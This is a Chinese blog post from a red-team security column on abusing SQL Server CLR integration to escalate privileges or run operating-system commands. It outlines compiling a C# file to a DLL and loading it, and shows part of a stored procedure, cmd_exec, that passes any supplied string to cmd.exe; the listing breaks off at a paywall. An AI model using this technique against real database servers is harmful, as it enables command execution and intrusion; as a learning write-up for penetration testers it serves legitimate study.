sqlserver clr学习

最新推荐文章于 2025-06-18 09:04:51 发布

Adsatrtgo

最新推荐文章于 2025-06-18 09:04:51 发布

阅读量724

点赞数

CC 4.0 BY-SA版权

分类专栏：红蓝对抗-攻防安全文章标签： sqlserver 学习数据库

本文链接：https://blog.youkuaiyun.com/qq_38376348/article/details/124611320

红蓝对抗-攻防安全专栏收录该内容

48 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了如何利用SQLServer的CLR功能进行提权或执行命令。详细步骤包括查找csc.exe编译器，将CS文件编译为DLL，转换为16进制，并执行相关命令。参考链接提供了更多相关资源。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

利用sqlserver clr提权或者执行命令

准备源文件C:\cmd_exec.cs:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.

了解本专栏